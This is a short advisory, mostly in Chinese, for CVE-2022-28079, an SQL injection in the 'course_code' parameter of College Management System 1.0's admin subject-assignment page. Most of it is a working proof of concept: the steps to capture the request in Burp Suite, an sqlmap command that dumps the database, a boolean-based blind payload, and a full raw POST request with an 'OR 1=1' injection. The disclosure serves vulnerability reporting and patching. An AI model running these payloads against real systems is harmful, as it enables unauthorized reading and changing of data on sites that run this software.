
CVE-2022-28079
College Management System 1.0 允许通过参数 'course_code' 在 /College-Management-System/admin/asign-single-student-subjects.php 进行 SQL 注入。利用此问题可能允许攻击者破坏 应用程序、访问或修改数据,或利用底层数据库中的潜在漏洞。
在 Burpsuite 中拦截受影响页面的请求,包含 'course_code' 参数,并将其保存为 poc.req。然后运行 SQLmap 以从数据库中提取数据:
sqlmap -r poc.req --dbms=mysql
基于布尔的盲注 Payload: submit=Press&roll_no=3&course_code=-6093' OR 2121=2121 AND 'ddQQ'='ddQQ
POST /College-Management-System/admin/asign-single-student-subjects.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 80
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=jhnlvntmv8q4gtgsof9l1f1hhe
Referer: http://localhost/College-Management-System/admin/asign-single-student-subjects.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
submit=Press&roll_no=3&course_code=Select+Course%27+OR+1%3d1+OR+%27ns%27%3d%27ns